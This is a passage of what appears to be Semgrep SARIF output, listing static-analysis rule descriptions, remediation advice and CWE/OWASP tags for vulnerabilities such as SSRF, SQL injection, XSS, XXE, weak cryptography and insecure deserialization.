Rule](https://semgrep.dev/r/ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg","id":"ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg","name":"ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-url-to-connection.tainted-url-to-connection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/OlivierLaflamme/Auditing-Vulnerabilities/blob/master/SSRF/PHP/PHP_vuln_function.md](https://github.com/OlivierLaflamme/Auditing-Vulnerabilities/blob/master/SSRF/PHP/PHP_vuln_function.md)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-url-to-connection.tainted-url-to-connection","id":"php.lang.security.tainted-url-to-connection.tainted-url-to-connection","name":"php.lang.security.tainted-url-to-connection.tainted-url-to-connection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-url-to-connection.tainted-url-to-connection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf","id":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf","name":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of crypto.pseudoRandomBytes, which does not produce secure random numbers."},"help":{"markdown":"Detected usage of crypto.pseudoRandomBytes, which does not produce secure random numbers.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected usage of crypto.pseudoRandomBytes, which does not produce secure random numbers."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes","id":"javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes","name":"javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes","properties":{"precision":"very-high","tags":["CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$SINK_VAR` has previously been freed which will trigger a double-free vulnerability. This may lead to memory corruption."},"help":{"markdown":"`$SINK_VAR` has previously been freed which will trigger a double-free vulnerability. This may lead to memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-free.double-free)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory)\n","text":"`$SINK_VAR` has previously been freed which will trigger a double-free vulnerability. This may lead to memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-free.double-free","id":"cpp.lang.security.memory.deallocation.double-free.double-free","name":"cpp.lang.security.memory.deallocation.double-free.double-free","properties":{"precision":"very-high","tags":["CWE-415: Double Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.deallocation.double-free.double-free"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3","id":"python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3","name":"python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead."},"help":{"markdown":"Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR06-C.+Do+not+assume+that+strtok%28%29+leaves+the+parse+string+unchanged](https://wiki.sei.cmu.edu/confluence/display/c/STR06-C.+Do+not+assume+that+strtok%28%29+leaves+the+parse+string+unchanged)\n - [https://man7.org/linux/man-pages/man3/strtok.3.html#BUGS](https://man7.org/linux/man-pages/man3/strtok.3.html#BUGS)\n - [https://stackoverflow.com/a/40335556](https://stackoverflow.com/a/40335556)\n","text":"Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead."},"helpUri":"https://semgrep.dev/r/c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn","id":"c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn","name":"c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detection of dangerouslySetInnerHTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"help":{"markdown":"Detection of dangerouslySetInnerHTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize your HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml)\n - [https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)\n","text":"Detection of dangerouslySetInnerHTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml","id":"typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml","name":"typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring","id":"java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring","name":"java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials","id":"java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials","name":"java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an HTTP request sent via HttpURLConnection. This could lead to sensitive information being sent over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"help":{"markdown":"Detected an HTTP request sent via HttpURLConnection. This could lead to sensitive information being sent over an insecure channel. Instead, it is recommended to send requests over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection()](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection())\n","text":"Detected an HTTP request sent via HttpURLConnection. This could lead to sensitive information being sent over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not enable the `upgradeKnownHostsToHTTPS` feature. This feature will ensure accidental HTTP connections are automatically upgraded to HTTPS, avoiding potential data leakage over the network."},"help":{"markdown":"Webviews were observed that do not enable the `upgradeKnownHostsToHTTPS` feature. This feature will ensure accidental HTTP connections are automatically upgraded to HTTPS, avoiding potential data leakage over the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-https.swift-webview-config-https-upgrade)\n - [https://developer.apple.com/documentation/webkit/wkwebviewconfiguration/3752243-upgradeknownhoststohttps](https://developer.apple.com/documentation/webkit/wkwebviewconfiguration/3752243-upgradeknownhoststohttps)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not enable the `upgradeKnownHostsToHTTPS` feature. This feature will ensure accidental HTTP connections are automatically upgraded to HTTPS, avoiding potential data leakage over the network."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-https.swift-webview-config-https-upgrade","id":"swift.webview.webview-https.swift-webview-config-https-upgrade","name":"swift.webview.webview-https.swift-webview-config-https-upgrade","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-https.swift-webview-config-https-upgrade"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the CFB cipher mode. This mode is insecure because it does not protect against an IV reuse. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the CFB cipher mode. This mode is insecure because it does not protect against an IV reuse. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the CFB cipher mode. This mode is insecure because it does not protect against an IV reuse. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode","id":"csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode","name":"csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"help":{"markdown":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.rsa.rsa-insecure-hash.rsa-insecure-hash)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n","text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"helpUri":"https://semgrep.dev/r/python.rsa.rsa-insecure-hash.rsa-insecure-hash","id":"python.rsa.rsa-insecure-hash.rsa-insecure-hash","name":"python.rsa.rsa-insecure-hash.rsa-insecure-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.rsa.rsa-insecure-hash.rsa-insecure-hash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of express.csrf() middleware before express.methodOverride(). This can allow GET requests (which are not checked by csrf) to turn into POST requests later."},"help":{"markdown":"Detected use of express.csrf() middleware before express.methodOverride(). This can allow GET requests (which are not checked by csrf) to turn into POST requests later.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override)\n - [https://github.com/nodesecurity/eslint-plugin-security/blob/master/docs/bypass-connect-csrf-protection-by-abusing.md](https://github.com/nodesecurity/eslint-plugin-security/blob/master/docs/bypass-connect-csrf-protection-by-abusing.md)\n","text":"Detected use of express.csrf() middleware before express.methodOverride(). This can allow GET requests (which are not checked by csrf) to turn into POST requests later."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override","id":"javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override","name":"javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - 